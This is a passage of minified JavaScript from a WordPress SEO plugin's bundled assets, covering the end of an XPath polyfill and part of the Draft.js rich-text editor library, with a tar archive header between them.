n}),!1),qe("namespace",(function(){return new Q}),!1);var Qe=qe("parent",(function(e,t){var n=new Q;if(9==t.nodeType)return n;if(2==t.nodeType)return ee(n,t.ownerElement),n;var r=t.parentNode;return e.a(r)&&ee(n,r),n}),!1),Je=qe("preceding",(function(e,t,n,r){var o=new Q,i=[];do{i.unshift(t)}while(t=t.parentNode);for(var a=1,s=i.length;a<s;a++){var u=[];for(t=i[a];t=t.previousSibling;)u.unshift(t);for(var l=0,c=u.length;l<c;l++)C(t=u[l],n,r)&&e.a(t)&&ee(o,t),o=U(e,t,n,r,o)}return o}),!0,!0);qe("preceding-sibling",(function(e,t){for(var n=new Q,r=t;r=r.previousSibling;)e.a(r)&&Z(n,r);return n}),!0);var Ke=qe("self",(function(e,t){var n=new Q;return e.a(t)&&ee(n,t),n}),!1);function Ze(e){ae.call(this,1),this.c=e,this.g=e.g,this.b=e.b}function et(e){ae.call(this,1),this.c=e}function tt(e,t){this.a=e,this.b=t}function nt(e){for(var t,n=[];;){rt(e,"Missing right hand side of binary expression."),t=ct(e);var r=Re(e.a);if(!r)break;var o=(r=ge[r]||null)&&r.w;if(!o){e.a.a--;break}for(;n.length&&o<=n[n.length-1].w;)t=new de(n.pop(),n.pop(),t);n.push(t,r)}for(;n.length;)t=new de(n.pop(),n.pop(),t);return t}function rt(e,t){if(ke(e.a))throw Error(t)}function ot(e,t){var n=Re(e.a);if(n!=t)throw Error("Bad token, expected: "+t+" got: "+n)}function it(e){if(")"!=(e=Re(e.a)))throw Error("Bad token: "+e)}function at(e){if(2>(e=Re(e.a)).length)throw Error("Unclosed literal string");return new Ie(e)}function st(e){var t,n,r=[];if(Ce(Ae(e.a))){if(t=Re(e.a),n=Ae(e.a),"/"==t&&(ke(e.a)||"."!=n&&".."!=n&&"@"!=n&&"*"!=n&&!/(?![0-9])[\w]/.test(n)))return new Be;n=new Be,rt(e,"Missing next location step."),t=ut(e,t),r.push(t)}else{e:{switch(n=(t=Ae(e.a)).charAt(0)){case"$":throw Error("Variable reference not allowed in HTML XPath");case"(":Re(e.a),t=nt(e),rt(e,'unclosed "("'),ot(e,")");break;case'"':case"'":t=at(e);break;default:if(isNaN(+t)){if(Oe(t)||!/(?![0-9])[\w]/.test(n)||"("!=Ae(e.a,1)){t=null;break e}for(t=Re(e.a),t=xe[t]||null,Re(e.a),n=[];")"!=Ae(e.a)&&(rt(e,"Missing function argument list."),n.push(nt(e)),","==Ae(e.a));)Re(e.a);rt(e,"Unclosed function argument list."),it(e),t=new Ee(t,n)}else t=new et(+Re(e.a))}"["==Ae(e.a)&&(t=new we(t,n=new Le(lt(e))))}if(t){if(!Ce(Ae(e.a)))return t;n=t}else t=ut(e,"/"),n=new Fe,r.push(t)}for(;Ce(Ae(e.a));)t=Re(e.a),rt(e,"Missing next location step."),t=ut(e,t),r.push(t);return new Me(n,r)}function ut(e,t){var n,r,o,i;if("/"!=t&&"//"!=t)throw Error('Step op should be "/" or "//"');if("."==Ae(e.a))return r=new Xe(Ke,new Pe("node")),Re(e.a),r;if(".."==Ae(e.a))return r=new Xe(Qe,new Pe("node")),Re(e.a),r;if("@"==Ae(e.a))i=Ve,Re(e.a),rt(e,"Missing attribute name");else if("::"==Ae(e.a,1)){if(!/(?![0-9])[\w]/.test(Ae(e.a).charAt(0)))throw Error("Bad token: "+Re(e.a));if(n=Re(e.a),!(i=$e[n]||null))throw Error("No axis with name: "+n);Re(e.a),rt(e,"Missing node name")}else i=ze;if(n=Ae(e.a),!/(?![0-9])[\w\*]/.test(n.charAt(0)))throw Error("Bad token: "+Re(e.a));if("("==Ae(e.a,1)){if(!Oe(n))throw Error("Invalid node type: "+n);if(!Oe(n=Re(e.a)))throw Error("Invalid type name: "+n);ot(e,"("),rt(e,"Bad nodetype");var a=null;'"'!=(o=Ae(e.a).charAt(0))&&"'"!=o||(a=at(e)),rt(e,"Bad nodetype"),it(e),n=new Pe(n,a)}else if(-1==(o=(n=Re(e.a)).indexOf(":")))n=new De(n);else{var s;if("*"==(a=n.substring(0,o)))s="*";else if(!(s=e.b(a)))throw Error("Namespace prefix not declared: "+a);n=new De(n=n.substr(o+1),s)}return o=new Le(lt(e),i.a),r||new Xe(i,n,o,"//"==t)}function lt(e){for(var t=[];"["==Ae(e.a);){Re(e.a),rt(e,"Missing predicate expression.");var n=nt(e);t.push(n),rt(e,"Unclosed predicate expression."),ot(e,"]")}return t}function ct(e){if("-"==Ae(e.a))return Re(e.a),new Ze(ct(e));var t=st(e);if("|"!=Ae(e.a))e=t;else{for(t=[t];"|"==Re(e.a);)rt(e,"Missing next union location path."),t.push(st(e));e.a.a--,e=new Ue(t)}return e}function ft(e){switch(e.nodeType){case 1:return function(e,t){var n=Array.prototype.slice.call(arguments,1);return function(){var t=n.slice();return t.push.apply(t,arguments),e.apply(this,t)}}(dt,e);case 9:return ft(e.documentElement);case 11:case 10:case 6:case 12:return pt;default:return e.parentNode?ft(e.parentNode):pt}}function pt(){return null}function dt(e,t){if(e.prefix==t)return e.namespaceURI||"http://www.w3.org/1999/xhtml";var n=e.getAttributeNode("xmlns:"+t);return n&&n.specified?n.value||null:e.parentNode&&9!=e.parentNode.nodeType?dt(e.parentNode,t):null}function ht(e,t){if(!e.length)throw Error("Empty XPath expression.");var n=function(e){e=e.match(Ne);for(var t=0;t<e.length;t++)Se.test(e[t])&&e.splice(t,1);return new je(e)}(e);if(ke(n))throw Error("Invalid XPath expression.");t?"function"==function(e){var t=typeof e;if("object"==t){if(!e)return"null";if(e instanceof Array)return"array";if(e instanceof Object)return t;var n=Object.prototype.toString.call(e);if("[object Window]"==n)return"object";if("[object Array]"==n||"number"==typeof e.length&&void 0!==e.splice&&void 0!==e.propertyIsEnumerable&&!e.propertyIsEnumerable("splice"))return"array";if("[object Function]"==n||void 0!==e.call&&void 0!==e.propertyIsEnumerable&&!e.propertyIsEnumerable("call"))return"function"}else if("function"==t&&void 0===e.call)return"object";return t}(t)||(t=i(t.lookupNamespaceURI,t)):t=function(){return null};var r=nt(new tt(n,t));if(!ke(n))throw Error("Bad token: "+Re(n));this.evaluate=function(e,t){return new yt(r.a(new ve(e)),t)}}function yt(e,t){if(0==t)if(e instanceof Q)t=4;else if("string"==typeof e)t=2;else if("number"==typeof e)t=1;else{if("boolean"!=typeof e)throw Error("Unexpected evaluation result.");t=3}if(2!=t&&1!=t&&3!=t&&!(e instanceof Q))throw Error("value could not be converted to the specified type");var n;switch(this.resultType=t,t){case 2:this.stringValue=e instanceof Q?ne(e):""+e;break;case 1:this.numberValue=e instanceof Q?+ne(e):+e;break;case 3:this.booleanValue=e instanceof Q?0<e.l:!!e;break;case 4:case 5:case 6:case 7:var r=re(e);n=[];for(var o=ie(r);o;o=ie(r))n.push(o instanceof M?o.a:o);this.snapshotLength=e.l,this.invalidIteratorState=!1;break;case 8:case 9:r=te(e),this.singleNodeValue=r instanceof M?r.a:r;break;default:throw Error("Unknown XPathResult type.")}var i=0;this.iterateNext=function(){if(4!=t&&5!=t)throw Error("iterateNext called with wrong result type");return i>=n.length?null:n[i++]},this.snapshotItem=function(e){if(6!=t&&7!=t)throw Error("snapshotItem called with wrong result type");return e>=n.length||0>e?null:n[e]}}function gt(e){this.lookupNamespaceURI=ft(e)}function bt(e,n){var r=e||t,o=r.Document&&r.Document.prototype||r.document;o.evaluate&&!n||(r.XPathResult=yt,o.evaluate=function(e,t,n,r){return new ht(e,n).evaluate(t,r)},o.createExpression=function(e,t){return new ht(e,t)},o.createNSResolver=function(e){return new gt(e)})}a(Ze),Ze.prototype.a=function(e){return-ce(this.c,e)},Ze.prototype.toString=function(){return"Unary Expression: -"+se(this.c)},a(et),et.prototype.a=function(){return this.c},et.prototype.toString=function(){return"Number: "+this.c},yt.ANY_TYPE=0,yt.NUMBER_TYPE=1,yt.STRING_TYPE=2,yt.BOOLEAN_TYPE=3,yt.UNORDERED_NODE_ITERATOR_TYPE=4,yt.ORDERED_NODE_ITERATOR_TYPE=5,yt.UNORDERED_NODE_SNAPSHOT_TYPE=6,yt.ORDERED_NODE_SNAPSHOT_TYPE=7,yt.ANY_UNORDERED_NODE_TYPE=8,yt.FIRST_ORDERED_NODE_TYPE=9;var mt,vt=["wgxpath","install"],wt=t;vt[0]in wt||!wt.execScript||wt.execScript("var "+vt[0]);for(;vt.length&&(mt=vt.shift());)vt.length||void 0===bt?wt=wt[mt]?wt[mt]:wt[mt]={}:wt[mt]=bt;e.exports.install=bt,e.exports.XPathResultType={ANY_TYPE:0,NUMBER_TYPE:1,STRING_TYPE:2,BOOLEAN_TYPE:3,UNORDERED_NODE_ITERATOR_TYPE:4,ORDERED_NODE_ITERATOR_TYPE:5,UNORDERED_NODE_SNAPSHOT_TYPE:6,ORDERED_NODE_SNAPSHOT_TYPE:7,ANY_UNORDERED_NODE_TYPE:8,FIRST_ORDERED_NODE_TYPE:9}}).call(n.g)},99196:e=>{"use strict";e.exports=window.React},92819:e=>{"use strict";e.exports=window.lodash},65736:e=>{"use strict";e.exports=window.wp.i18n},85890:e=>{"use strict";e.exports=window.yoast.propTypes},98487:e=>{"use strict";e.exports=window.yoast.styledComponents}},t={};function n(r){var o=t[r];if(void 0!==o)return o.exports;var i=t[r]={exports:{}};return e[r].call(i.exports,i,i.exports,n),i.exports}n.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}();var r=n(56101);(window.yoast=window.yoast||{}).helpers=r})();wordpress-seo/js/dist/externals/draftJs.js000064400000665311147510273070014721 0ustar00(()=>{var t={19785:(t,e,r)=>{"use strict";function n(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){i(t,e,r[e])}))}return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(10329),a=r(4516),s=r(38777),u=r(67953),c=r(42307),l=r(14289),f=r(25027),p=r(68642),h=r(43393),d=r(61173),g=p("draft_tree_data_support"),y=g?u:s,v=h.List,m=h.Repeat,_={insertAtomicBlock:function(t,e,r){var i=t.getCurrentContent(),s=t.getSelection(),u=c.removeRange(i,s,"backward"),p=u.getSelectionAfter(),h=c.splitBlock(u,p),d=h.getSelectionAfter(),_=c.setBlockType(h,d,"atomic"),b=a.create({entity:e}),S={key:f(),type:"atomic",text:r,characterList:v(m(b,r.length))},w={key:f(),type:"unstyled"};g&&(S=n({},S,{nextSibling:w.key}),w=n({},w,{prevSibling:S.key}));var x=[new y(S),new y(w)],k=o.createFromArray(x),C=c.replaceWithFragment(_,d,k),E=C.merge({selectionBefore:s,selectionAfter:C.getSelectionAfter().set("hasFocus",!0)});return l.push(t,E,"insert-fragment")},moveAtomicBlock:function(t,e,r,n){var i,o=t.getCurrentContent(),a=t.getSelection();if("before"===n||"after"===n){var s=o.getBlockForKey("before"===n?r.getStartKey():r.getEndKey());i=d(o,e,s,n)}else{var u=c.removeRange(o,r,"backward"),f=u.getSelectionAfter(),p=u.getBlockForKey(f.getFocusKey());if(0===f.getStartOffset())i=d(u,e,p,"before");else if(f.getEndOffset()===p.getLength())i=d(u,e,p,"after");else{var h=c.splitBlock(u,f),g=h.getSelectionAfter(),y=h.getBlockForKey(g.getFocusKey());i=d(h,e,y,"before")}}var v=i.merge({selectionBefore:a,selectionAfter:i.getSelectionAfter().set("hasFocus",!0)});return l.push(t,v,"move-block")}};t.exports=_},10329:(t,e,r)=>{"use strict";var n=r(43393).OrderedMap,i={createFromArray:function(t){return n(t.map((function(t){return[t.getKey(),t]})))}};t.exports=i},34365:(t,e,r)=>{"use strict";function n(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var i=r(29407),o=r(96495),a=r(43393),s=a.List,u=a.Repeat,c=a.Record,l=function(){return!0},f=c({start:null,end:null}),p=c({start:null,end:null,decoratorKey:null,leaves:null}),h={generate:function(t,e,r){var n=e.getLength();if(!n)return s.of(new p({start:0,end:0,decoratorKey:null,leaves:s.of(new f({start:0,end:0}))}));var o=[],a=r?r.getDecorations(e,t):s(u(null,n)),c=e.getCharacterList();return i(a,d,l,(function(t,e){var r,n,u,h;o.push(new p({start:t,end:e,decoratorKey:a.get(t),leaves:(r=c.slice(t,e).toList(),n=t,u=[],h=r.map((function(t){return t.getStyle()})).toList(),i(h,d,l,(function(t,e){u.push(new f({start:t+n,end:e+n}))})),s(u))}))})),s(o)},fromJS:function(t){var e=t.leaves,r=function(t,e){if(null==t)return{};var r,n,i={},o=Object.keys(t);for(n=0;n<o.length;n++)r=o[n],e.indexOf(r)>=0||(i[r]=t[r]);return i}(t,["leaves"]);return new p(function(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){n(t,e,r[e])}))}return t}({},r,{leaves:null!=e?s(Array.isArray(e)?e:o(e)).map((function(t){return f(t)})):null}))}};function d(t,e){return t===e}t.exports=h},4516:(t,e,r)=>{"use strict";var n=r(43393),i=n.Map,o=n.OrderedSet,a=n.Record,s=o(),u={style:s,entity:null},c=function(t){var e,r;function n(){return t.apply(this,arguments)||this}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var a=n.prototype;return a.getStyle=function(){return this.get("style")},a.getEntity=function(){return this.get("entity")},a.hasStyle=function(t){return this.getStyle().includes(t)},n.applyStyle=function(t,e){var r=t.set("style",t.getStyle().add(e));return n.create(r)},n.removeStyle=function(t,e){var r=t.set("style",t.getStyle().remove(e));return n.create(r)},n.applyEntity=function(t,e){var r=t.getEntity()===e?t:t.set("entity",e);return n.create(r)},n.create=function(t){if(!t)return l;var e=i({style:s,entity:null}).merge(t),r=f.get(e);if(r)return r;var o=new n(e);return f=f.set(e,o),o},n.fromJS=function(t){var e=t.style,r=t.entity;return new n({style:Array.isArray(e)?o(e):e,entity:Array.isArray(r)?o(r):r})},n}(a(u)),l=new c,f=i([[i(u),l]]);c.EMPTY=l,t.exports=c},25369:(t,e,r)=>{"use strict";var n=r(43393).List,i=function(){function t(t){var e,r;r=void 0,(e="_decorators")in this?Object.defineProperty(this,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):this[e]=r,this._decorators=t.slice()}var e=t.prototype;return e.getDecorations=function(t,e){var r=Array(t.getText().length).fill(null);return this._decorators.forEach((function(n,i){var o=0;(0,n.strategy)(t,(function(t,e){(function(t,e,r){for(var n=e;n<r;n++)if(null!=t[n])return!1;return!0})(r,t,e)&&(function(t,e,r,n){for(var i=e;i<r;i++)t[i]=n}(r,t,e,i+"."+o),o++)}),e)})),n(r)},e.getComponentForKey=function(t){var e=parseInt(t.split(".")[0],10);return this._decorators[e].component},e.getPropsForKey=function(t){var e=parseInt(t.split(".")[0],10);return this._decorators[e].props},t}();t.exports=i},38777:(t,e,r)=>{"use strict";var n=r(4516),i=r(29407),o=r(43393),a=o.List,s=o.Map,u=o.OrderedSet,c=o.Record,l=o.Repeat,f=u(),p=function(t){var e,r;function o(e){return t.call(this,function(t){if(!t)return t;var e=t.characterList,r=t.text;return r&&!e&&(t.characterList=a(l(n.EMPTY,r.length))),t}(e))||this}r=t,(e=o).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var s=o.prototype;return s.getKey=function(){return this.get("key")},s.getType=function(){return this.get("type")},s.getText=function(){return this.get("text")},s.getCharacterList=function(){return this.get("characterList")},s.getLength=function(){return this.getText().length},s.getDepth=function(){return this.get("depth")},s.getData=function(){return this.get("data")},s.getInlineStyleAt=function(t){var e=this.getCharacterList().get(t);return e?e.getStyle():f},s.getEntityAt=function(t){var e=this.getCharacterList().get(t);return e?e.getEntity():null},s.findStyleRanges=function(t,e){i(this.getCharacterList(),h,t,e)},s.findEntityRanges=function(t,e){i(this.getCharacterList(),d,t,e)},o}(c({key:"",type:"unstyled",text:"",characterList:a(),depth:0,data:s()}));function h(t,e){return t.getStyle()===e.getStyle()}function d(t,e){return t.getEntity()===e.getEntity()}t.exports=p},67953:(t,e,r)=>{"use strict";var n=r(4516),i=r(29407),o=r(43393),a=o.List,s=o.Map,u=o.OrderedSet,c=o.Record,l=o.Repeat,f=u(),p={parent:null,characterList:a(),data:s(),depth:0,key:"",text:"",type:"unstyled",children:a(),prevSibling:null,nextSibling:null},h=function(t,e){return t.getStyle()===e.getStyle()},d=function(t,e){return t.getEntity()===e.getEntity()},g=function(t){var e,r;function o(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:p;return t.call(this,function(t){if(!t)return t;var e=t.characterList,r=t.text;return r&&!e&&(t.characterList=a(l(n.EMPTY,r.length))),t}(e))||this}r=t,(e=o).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var s=o.prototype;return s.getKey=function(){return this.get("key")},s.getType=function(){return this.get("type")},s.getText=function(){return this.get("text")},s.getCharacterList=function(){return this.get("characterList")},s.getLength=function(){return this.getText().length},s.getDepth=function(){return this.get("depth")},s.getData=function(){return this.get("data")},s.getInlineStyleAt=function(t){var e=this.getCharacterList().get(t);return e?e.getStyle():f},s.getEntityAt=function(t){var e=this.getCharacterList().get(t);return e?e.getEntity():null},s.getChildKeys=function(){return this.get("children")},s.getParentKey=function(){return this.get("parent")},s.getPrevSiblingKey=function(){return this.get("prevSibling")},s.getNextSiblingKey=function(){return this.get("nextSibling")},s.findStyleRanges=function(t,e){i(this.getCharacterList(),h,t,e)},s.findEntityRanges=function(t,e){i(this.getCharacterList(),d,t,e)},o}(c(p));t.exports=g},66912:(t,e,r)=>{"use strict";function n(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){i(t,e,r[e])}))}return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(10329),a=r(4516),s=r(38777),u=r(67953),c=r(82222),l=r(25110),f=r(25027),p=r(96495),h=r(68642),d=r(43393),g=r(55283),y=d.List,v=d.Record,m=d.Repeat,_=d.Map,b=d.OrderedMap,S=v({entityMap:null,blockMap:null,selectionBefore:null,selectionAfter:null}),w=h("draft_tree_data_support")?u:s,x=function(t){var e,r;function i(){return t.apply(this,arguments)||this}r=t,(e=i).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var s=i.prototype;return s.getEntityMap=function(){return c},s.getBlockMap=function(){return this.get("blockMap")},s.getSelectionBefore=function(){return this.get("selectionBefore")},s.getSelectionAfter=function(){return this.get("selectionAfter")},s.getBlockForKey=function(t){return this.getBlockMap().get(t)},s.getKeyBefore=function(t){return this.getBlockMap().reverse().keySeq().skipUntil((function(e){return e===t})).skip(1).first()},s.getKeyAfter=function(t){return this.getBlockMap().keySeq().skipUntil((function(e){return e===t})).skip(1).first()},s.getBlockAfter=function(t){return this.getBlockMap().skipUntil((function(e,r){return r===t})).skip(1).first()},s.getBlockBefore=function(t){return this.getBlockMap().reverse().skipUntil((function(e,r){return r===t})).skip(1).first()},s.getBlocksAsArray=function(){return this.getBlockMap().toArray()},s.getFirstBlock=function(){return this.getBlockMap().first()},s.getLastBlock=function(){return this.getBlockMap().last()},s.getPlainText=function(t){return this.getBlockMap().map((function(t){return t?t.getText():""})).join(t||"\n")},s.getLastCreatedEntityKey=function(){return c.__getLastCreatedEntityKey()},s.hasText=function(){var t=this.getBlockMap();return t.size>1||escape(t.first().getText()).replace(/%u200B/g,"").length>0},s.createEntity=function(t,e,r){return c.__create(t,e,r),this},s.mergeEntityData=function(t,e){return c.__mergeData(t,e),this},s.replaceEntityData=function(t,e){return c.__replaceData(t,e),this},s.addEntity=function(t){return c.__add(t),this},s.getEntity=function(t){return c.__get(t)},s.getAllEntities=function(){return c.__getAll()},s.loadWithEntities=function(t){return c.__loadWithEntities(t)},i.createFromBlockArray=function(t,e){var r=Array.isArray(t)?t:t.contentBlocks,n=o.createFromArray(r),a=n.isEmpty()?new l:l.createEmpty(n.first().getKey());return new i({blockMap:n,entityMap:e||c,selectionBefore:a,selectionAfter:a})},i.createFromText=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:/\r\n?|\n/g,r=t.split(e).map((function(t){return t=g(t),new w({key:f(),text:t,type:"unstyled",characterList:y(m(a.EMPTY,t.length))})}));return i.createFromBlockArray(r)},i.fromJS=function(t){return new i(n({},t,{blockMap:b(t.blockMap).map(i.createContentBlockFromJS),selectionBefore:new l(t.selectionBefore),selectionAfter:new l(t.selectionAfter)}))},i.createContentBlockFromJS=function(t){var e=t.characterList;return new w(n({},t,{data:_(t.data),characterList:null!=e?y((Array.isArray(e)?e:p(e)).map((function(t){return a.fromJS(t)}))):void 0}))},i}(S);t.exports=x},13483:(t,e,r)=>{"use strict";var n=r(4516),i=r(43393).Map,o={add:function(t,e,r){return a(t,e,r,!0)},remove:function(t,e,r){return a(t,e,r,!1)}};function a(t,e,r,o){var a=t.getBlockMap(),s=e.getStartKey(),u=e.getStartOffset(),c=e.getEndKey(),l=e.getEndOffset(),f=a.skipUntil((function(t,e){return e===s})).takeUntil((function(t,e){return e===c})).concat(i([[c,a.get(c)]])).map((function(t,e){var i,a;s===c?(i=u,a=l):(i=e===s?u:0,a=e===c?l:t.getLength());for(var f,p=t.getCharacterList();i<a;)f=p.get(i),p=p.set(i,o?n.applyStyle(f,r):n.removeStyle(f,r)),i++;return t.set("characterList",p)}));return t.merge({blockMap:a.merge(f),selectionBefore:e,selectionAfter:e})}t.exports=o},77907:(t,e,r)=>{"use strict";function n(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var i=r(4856),o=r(69270),a=r(48083),s=r(43393),u=r(73759),c=r(22045),l=s.Map,f={subtree:!0,characterData:!0,childList:!0,characterDataOldValue:!1,attributes:!1},p=i.isBrowser("IE <= 11"),h=function(){function t(t){var e=this;n(this,"observer",void 0),n(this,"container",void 0),n(this,"mutations",void 0),n(this,"onCharData",void 0),this.container=t,this.mutations=l();var r=a(t);r.MutationObserver&&!p?this.observer=new r.MutationObserver((function(t){return e.registerMutations(t)})):this.onCharData=function(t){t.target instanceof Node||u(!1),e.registerMutation({type:"characterData",target:t.target})}}var e=t.prototype;return e.start=function(){this.observer?this.observer.observe(this.container,f):this.container.addEventListener("DOMCharacterDataModified",this.onCharData)},e.stopAndFlushMutations=function(){var t=this.observer;t?(this.registerMutations(t.takeRecords()),t.disconnect()):this.container.removeEventListener("DOMCharacterDataModified",this.onCharData);var e=this.mutations;return this.mutations=l(),e},e.registerMutations=function(t){for(var e=0;e<t.length;e++)this.registerMutation(t[e])},e.getMutationTextContent=function(t){var e=t.type,r=t.target,n=t.removedNodes;if("characterData"===e){if(""!==r.textContent)return p?r.textContent.replace("\n",""):r.textContent}else if("childList"===e){if(n&&n.length)return"";if(""!==r.textContent)return r.textContent}return null},e.registerMutation=function(t){var e=this.getMutationTextContent(t);if(null!=e){var r=c(o(t.target));this.mutations=this.mutations.set(r,e)}},t}();t.exports=h},526:(t,e,r)=>{"use strict";var n=r(99196),i=r(62620),o=(0,r(43393).Map)({"header-one":{element:"h1"},"header-two":{element:"h2"},"header-three":{element:"h3"},"header-four":{element:"h4"},"header-five":{element:"h5"},"header-six":{element:"h6"},section:{element:"section"},article:{element:"article"},"unordered-list-item":{element:"li",wrapper:n.createElement("ul",{className:i("public/DraftStyleDefault/ul")})},"ordered-list-item":{element:"li",wrapper:n.createElement("ol",{className:i("public/DraftStyleDefault/ol")})},blockquote:{element:"blockquote"},atomic:{element:"figure"},"code-block":{element:"pre",wrapper:n.createElement("pre",{className:i("public/DraftStyleDefault/pre")})},unstyled:{element:"div",aliasedElements:["p"]}});t.exports=o},37619:t=>{"use strict";t.exports={BOLD:{fontWeight:"bold"},CODE:{fontFamily:"monospace",wordWrap:"break-word"},ITALIC:{fontStyle:"italic"},STRIKETHROUGH:{textDecoration:"line-through"},UNDERLINE:{textDecoration:"underline"}}},9041:(t,e,r)=>{"use strict";var n=r(19785),i=r(10329),o=r(4516),a=r(25369),s=r(38777),u=r(66912),c=r(526),l=r(37619),f=r(87210),p=r(37898),h=r(82222),d=r(42307),g=r(39006),y=r(14289),v=r(47387),m=r(70054),_=r(41947),b=r(25110),S=r(79981),w=r(99607),x=r(25027),k=r(41714),C=r(96629),E={Editor:f,EditorBlock:p,EditorState:y,CompositeDecorator:a,Entity:h,EntityInstance:g,BlockMapBuilder:i,CharacterMetadata:o,ContentBlock:s,ContentState:u,RawDraftContentState:m,SelectionState:b,AtomicBlockUtils:n,KeyBindingUtil:v,Modifier:d,RichUtils:_,DefaultDraftBlockRenderMap:c,DefaultDraftInlineStyle:l,convertFromHTML:r(67841),convertFromRaw:w,convertToRaw:S,genKey:x,getDefaultKeyBinding:k,getVisibleSelectionRect:C};t.exports=E},87210:(t,e,r)=>{"use strict";var n=r(27418);function i(){return i=n||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t},i.apply(this,arguments)}function o(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){s(t,e,r[e])}))}return t}function a(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function s(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function u(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__proto__=e}var c=r(526),l=r(37619),f=r(33418),p=r(87791),h=r(61494),d=r(19394),g=r(4083),y=r(28094),v=r(5880),m=r(14289),_=r(99196),b=r(65994),S=r(19051),w=r(4856),x=r(62620),k=r(25027),C=r(41714),E=r(79749),O=r(68642),D=r(73759),K=r(20717),T=r(22045),M=w.isBrowser("IE"),A=!M,I={edit:d,composite:f,drag:h,cut:null,render:null},B=!1,L=function(t){function e(){return t.apply(this,arguments)||this}u(e,t);var r=e.prototype;return r.render=function(){return null},r.componentDidMount=function(){this._update()},r.componentDidUpdate=function(){this._update()},r._update=function(){var t=this.props.editor;t._latestEditorState=this.props.editorState,t._blockSelectEvents=!0},e}(_.Component),R=function(t){function e(e){var r;return s(a(r=t.call(this,e)||this),"_blockSelectEvents",void 0),s(a(r),"_clipboard",void 0),s(a(r),"_handler",void 0),s(a(r),"_dragCount",void 0),s(a(r),"_internalDrag",void 0),s(a(r),"_editorKey",void 0),s(a(r),"_placeholderAccessibilityID",void 0),s(a(r),"_latestEditorState",void 0),s(a(r),"_latestCommittedEditorState",void 0),s(a(r),"_pendingStateFromBeforeInput",void 0),s(a(r),"_onBeforeInput",void 0),s(a(r),"_onBlur",void 0),s(a(r),"_onCharacterData",void 0),s(a(r),"_onCompositionEnd",void 0),s(a(r),"_onCompositionStart",void 0),s(a(r),"_onCopy",void 0),s(a(r),"_onCut",void 0),s(a(r),"_onDragEnd",void 0),s(a(r),"_onDragOver",void 0),s(a(r),"_onDragStart",void 0),s(a(r),"_onDrop",void 0),s(a(r),"_onInput",void 0),s(a(r),"_onFocus",void 0),s(a(r),"_onKeyDown",void 0),s(a(r),"_onKeyPress",void 0),s(a(r),"_onKeyUp",void 0),s(a(r),"_onMouseDown",void 0),s(a(r),"_onMouseUp",void 0),s(a(r),"_onPaste",void 0),s(a(r),"_onSelect",void 0),s(a(r),"editor",void 0),s(a(r),"editorContainer",void 0),s(a(r),"focus",void 0),s(a(r),"blur",void 0),s(a(r),"setMode",void 0),s(a(r),"exitCurrentMode",void 0),s(a(r),"restoreEditorDOM",void 0),s(a(r),"setClipboard",void 0),s(a(r),"getClipboard",void 0),s(a(r),"getEditorKey",void 0),s(a(r),"update",void 0),s(a(r),"onDragEnter",void 0),s(a(r),"onDragLeave",void 0),s(a(r),"_handleEditorContainerRef",(function(t){r.editorContainer=t,r.editor=null!==t?t.firstChild:null})),s(a(r),"focus",(function(t){var e=r.props.editorState,n=e.getSelection().getHasFocus(),i=r.editor;if(i){var o=S.getScrollParent(i),a=t||E(o),s=a.x,u=a.y;K(i)||D(!1),i.focus(),o===window?window.scrollTo(s,u):b.setTop(o,u),n||r.update(m.forceSelection(e,e.getSelection()))}})),s(a(r),"blur",(function(){var t=r.editor;t&&(K(t)||D(!1),t.blur())})),s(a(r),"setMode",(function(t){var e=r.props,n=e.onPaste,i=e.onCut,a=e.onCopy,s=o({},I.edit);n&&(s.onPaste=n),i&&(s.onCut=i),a&&(s.onCopy=a);var u=o({},I,{edit:s});r._handler=u[t]})),s(a(r),"exitCurrentMode",(function(){r.setMode("edit")})),s(a(r),"restoreEditorDOM",(function(t){r.setState({contentsKey:r.state.contentsKey+1},(function(){r.focus(t)}))})),s(a(r),"setClipboard",(function(t){r._clipboard=t})),s(a(r),"getClipboard",(function(){return 